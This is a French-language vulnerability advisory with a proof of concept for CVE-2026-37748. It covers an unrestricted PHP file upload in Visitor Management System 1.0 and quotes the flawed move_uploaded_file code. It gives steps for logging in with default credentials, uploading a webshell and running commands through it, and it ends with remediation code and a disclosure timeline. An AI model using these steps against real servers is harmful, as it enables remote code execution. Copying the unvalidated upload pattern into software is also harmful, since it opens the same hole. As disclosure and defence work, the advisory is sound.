
Preuve de concept d'exploitation pour CVE-2026-37748, une vulnérabilité de téléversement de fichier sans restriction dans Visitor Management System 1.0 menant à une exécution de code à distance via le téléversement d'un webshell PHP.
| Champ | Informations |
|---|
| ID CVE | CVE-2026-37748 |
| Type | Téléversement de fichier sans restriction → Exécution de code à distance |
| Sévérité | Élevée (CVSSv3 : 7,2) |
| Fournisseur | sanjay1313 |
| Produit | Visitor Management System |
| Version | 1.0 |
| Découvreur | Varad AP Mene |
| Date | 2026-04-16 |
| CWE | CWE-434 |
Une vulnérabilité critique de téléversement de fichier sans restriction existe dans Visitor Management System 1.0 de sanjay1313. La fonction move_uploaded_file() dans vms/php/admin_user_insert.php et vms/php/update_1.php est appelée sans aucune validation du type MIME, de l'extension de fichier ou du contenu. Un administrateur authentifié peut téléverser un webshell PHP via le champ de téléversement d'image et obtenir une exécution de code à distance sur le serveur en accédant directement au fichier téléversé via une URL.
ID CVE : CVE-2026-37748 CWE : CWE-434 — Téléversement sans restriction de fichier de type dangereux CVSSv3 : 7,2 Élevée (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Visitor Management System 1.0 est une application web PHP/MySQL de sanjay1313 sur GitHub utilisée pour gérer les enregistrements de visiteurs dans les organisations.
URL du fournisseur : https://github.com/sanjay1313/Visitor-Management-System
vms/php/admin_user_insert.php vms/php/update_1.php
$image = $_FILES['image']['name'];
$tmp = $_FILES['image']['tmp_name'];
move_uploaded_file($tmp, "../images/" . $image);
Aucune validation de l'extension de fichier, du type MIME ou du contenu.
Étape 1 — Créer le fichier webshell shell.php :
Étape 2 — Se connecter au panneau d'administration : http://target/vms/ Nom d'utilisateur : admin Mot de passe : admin
Étape 3 — Téléverser shell.php comme image de profil : Accéder à Admin Users → Add New Admin Téléverser shell.php comme photo de profil
Étape 4 — Exécuter des commandes : http://target/vms/images/shell.php?cmd=id http://target/vms/images/shell.php?cmd=whoami
// 1. Valider l'extension du fichier
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("Invalid file type");
}
// 2. Valider le type MIME
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['image']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime)) {
die("Invalid MIME type");
}
// 3. Renommer le fichier sur le serveur
$new_name = uniqid() . '.' . $ext;
move_uploaded_file($_FILES['image']['tmp_name'], "../images/" . $new_name);
| Date | Événement |
|---|---|
| 2026-03-15 | Vulnérabilité découverte |
| 2026-03-15 | Signalée à MITRE |
| 2026-04-02 | CVE-2026-37748 attribué |
| 2026-04-16 | Divulgation publique |
| 2026-04-16 | MITRE informé de la publication |
| 2026-04-17 | Fournisseur informé via GitHub Issues |
Varad Arachana Prashant Mene